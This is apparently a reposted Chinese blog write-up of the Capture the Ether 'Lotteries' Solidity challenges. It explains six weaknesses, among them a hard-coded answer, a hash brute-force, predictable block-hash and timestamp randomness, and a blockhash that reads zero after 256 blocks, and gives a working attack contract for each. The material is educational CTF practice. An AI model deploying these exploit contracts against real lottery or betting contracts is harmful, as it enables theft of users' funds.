草庐IT

Capture the Ether(Lotteries)

Ke456839 2023-07-23 原文

Lotteries

在以下每个挑战中,我们的目标是在guess时正确猜测答案

第一题:Guess the number

代码:

pragma solidity ^0.4.21;
contract GuessTheNumberChallenge {
    uint8 answer = 42;
    function GuessTheNumberChallenge() public payable {
        require(msg.value == 1 ether);
    }
    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }
    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);
        if (n == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}

很简单,题目中直接给出了要猜测的数字是 42 ,部署合约输入 42 即可。

第二题:Guess the secret number

代码:

pragma solidity ^0.4.21;
contract GuessTheSecretNumberChallenge {
    bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;
    function GuessTheSecretNumberChallenge() public payable {
        require(msg.value == 1 ether);
    }
    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }
    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);
        if (keccak256(n) == answerHash) {
            msg.sender.transfer(2 ether);
        }
    }
}

要求我们给出一个 uint8 类型的数字的 hash 值等于题目给的answerHash,因为uint8最大也不过 255 ,所以我们可以用枚举法写一个 for 循环一个一个来判断。

攻击代码:

pragma solidity ^0.4.21;
contract GuessTheSecretNumberChallenge {
    bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;
    uint8 public answer;
    function guess() public payable {
        for(uint8 i = 0; i < 255; i++) {
            if (keccak256(i) == answerHash) {
                answer = i;
            }
        }
    }
}

部署合约,调用攻击合约的guess方法得到答案,在目标合约输入 answer 即可: 

第三题:Guess the Random number

代码:

pragma solidity ^0.4.21;
contract GuessTheRandomNumberChallenge {
    uint8 answer;
    function GuessTheRandomNumberChallenge() public payable {
        require(msg.value == 0.001 ether);
        answer = uint8(keccak256(block.blockhash(block.number - 1), now));
    }
    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }
    function guess(uint8 n) public payable {
        require(msg.value == 0.001 ether);
        if (n == answer) {
            msg.sender.transfer(0.002 ether);
        }
    }
}

这道题answer在我们部署合约时由 block.number 以及 now 生成, block.number 是部署合约时的区块高度,很容易获得, now 是当前的时间戳,这是个比较麻烦的地方,我们可以使用 injected provider 在 remix 中使用的我们的 metamask 钱包部署合约。(题目的 1 ether 太高了,我们可以自行降低,这里我用的 0.001 ether 即 1 Finny)

 部署了合约之后,我们可以去区块链浏览器上查看合约的情况,点击 view on etherscan

可以看到当前交易的信息:

点击 State ,第二个 address 就是我们合约的地址,点击旁边的箭头就可以看见合约中有一个 storage 变量的变化,转换成number类型之后就可以知道answer 就是 99: 

输入答案99即可:

第四题:Guess the New number

代码:

pragma solidity ^0.4.21;
contract GuessTheNewNumberChallenge {
    function GuessTheNewNumberChallenge() public payable {
        require(msg.value == 0.001 ether);
    }
    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }
    function guess(uint8 n) public payable {
        require(msg.value == 0.001 ether);
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
        if (n == answer) {
            msg.sender.transfer(0.002 ether);
        }
    }
}

这道题answer变成了在我们运行guess函数时生成,上一题的方法就不行了,我们可以写一个攻击函数,构造一个answer,然后从攻击函数来调用guess函数。

攻击代码:

pragma solidity ^0.4.21;
import "./GuessTheNewNumber.sol";
contract Poc {
    GuessTheNewNumberChallenge target;
    function pwn() public payable {
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
        target.guess.value(0.001 ether)(answer);
    }
    function Poc(address _addr) public {
        target = GuessTheNewNumberChallenge(_addr);
    }
    function () public payable {}
}

通过pwn函数我们生成了一个answer(在同一个交易中now和blocknumber是相同的),然后调用目标合约的guess函数,传入答案answer。

部署合约,调用pwn函数即可:

 攻击完成 

第五题:Predict the future

代码:

pragma solidity ^0.4.21;
contract PredictTheFutureChallenge {
    address guesser;
    uint8 guess;
    uint256 settlementBlockNumber;
    function PredictTheFutureChallenge() public payable {
        require(msg.value == 0.001 ether);
    }
    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }
    function lockInGuess(uint8 n) public payable {
        require(guesser == 0);
        require(msg.value == 0.001 ether);
        guesser = msg.sender;
        guess = n;
        settlementBlockNumber = block.number + 1;
    }
    function settle() public {
        require(msg.sender == guesser);
        require(block.number > settlementBlockNumber);
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;
        guesser = 0;
        if (guess == answer) {
            msg.sender.transfer(0.002 ether);
        }
    }
}

这道题answer的生成方式和上一题一样,依然是利用block.number和now来生产,但是猜测的范围变成了0 - 10,不同于上题的是它需要我们先通过lockInGuess函数设置一个我们猜测的数字guess,也就是我们猜测的数字是确定的,但是answer变化的,所以我们可以构造一个合约,当我们设置的guess和当前的answer相同的时候再执行settle函数。

攻击代码:

pragma solidity ^0.4.21;
import "./PredictTheFuture.sol";
contract attack {
    PredictTheFutureChallenge challenge;
    constructor(address _addr) public {
        challenge = PredictTheFutureChallenge(_addr);
    }
    function gue() public payable {
        challenge.lockInGuess.value(msg.value)(5);
    }
    function set() public payable {
        uint8 result = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;
        if (result == 5) {
            challenge.settle();
        }
    }
    function() public payable{}
}

部署合约,先调用gue函数设置一个猜测的guess(我选择的5),再调用set函数直到成功为止即可(挺看运气的)

第六题:Guess the Hash Number

代码:

pragma solidity ^0.4.21;
contract PredictTheBlockHashChallenge {
    address guesser;
    bytes32 guess;
    uint256 settlementBlockNumber;
    function PredictTheBlockHashChallenge() public payable {
        require(msg.value == 0.001 ether);
    }
    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }
    function lockInGuess(bytes32 hash) public payable {
        require(guesser == 0);
        require(msg.value == 0.001 ether);

        guesser = msg.sender;
        guess = hash;
        settlementBlockNumber = block.number + 1;
    }
    function settle() public {
        require(msg.sender == guesser);
        require(block.number > settlementBlockNumber);
        bytes32 answer = block.blockhash(settlementBlockNumber);
        guesser = 0;
        if (guess == answer) {
            msg.sender.transfer(0.002 ether);
        }
    }
}

题目要求我们猜测下一个区块的256位的Hash值。

出于可扩展性的原因,区块哈希并非对所有区块都可用。您只能访问最近 256 个区块的哈希值,所有其他值将为零。

所以我们只需要等待256个区块就可以解决这个问题。

攻击代码:

pragma solidity ^0.4.21;

import "./PredictBlockHash.sol";
contract attack {
    PredictTheBlockHashChallenge challenge;
    uint256 blockNumber;
    bytes32 answer;
    function attack(address _addr) public {
        challenge = PredictTheBlockHashChallenge(_addr);
    }
    function guess() public payable {
        blockNumber = block.number + 1;
        challenge.lockInGuess.value(0.001 ether)(answer);
    }
    function pwn() public {
        require(block.number-256 > blockNumber,"Didn't generate 256 blocks");
        challenge.settle();
    }
    function ()external payable{}
}

先调用攻击合约的guess函数,存入0,等到生成了256个区块之后再来调用pwn函数即可(等的时间挺久的)

有关Capture the Ether(Lotteries)的更多相关文章

  1. Capture the Ether(Lotteries) - 2

    Lotteries在以下每个挑战中,我们的目标是在guess时正确猜测答案第一题:Guessthenumber代码:pragmasolidity^0.4.21;contractGuessTheNumberChallenge{uint8answer=42;functionGuessTheNumberChallenge()publicpayable{require(msg.value==1ether);}functionisComplete()publicviewreturns(bool){returnaddress(this).balance==0;}functionguess(uint8n)p

  2. Capture the Ether(Lotteries) - 2

    Lotteries在以下每个挑战中,我们的目标是在guess时正确猜测答案第一题:Guessthenumber代码:pragmasolidity^0.4.21;contractGuessTheNumberChallenge{uint8answer=42;functionGuessTheNumberChallenge()publicpayable{require(msg.value==1ether);}functionisComplete()publicviewreturns(bool){returnaddress(this).balance==0;}functionguess(uint8n)p

随机推荐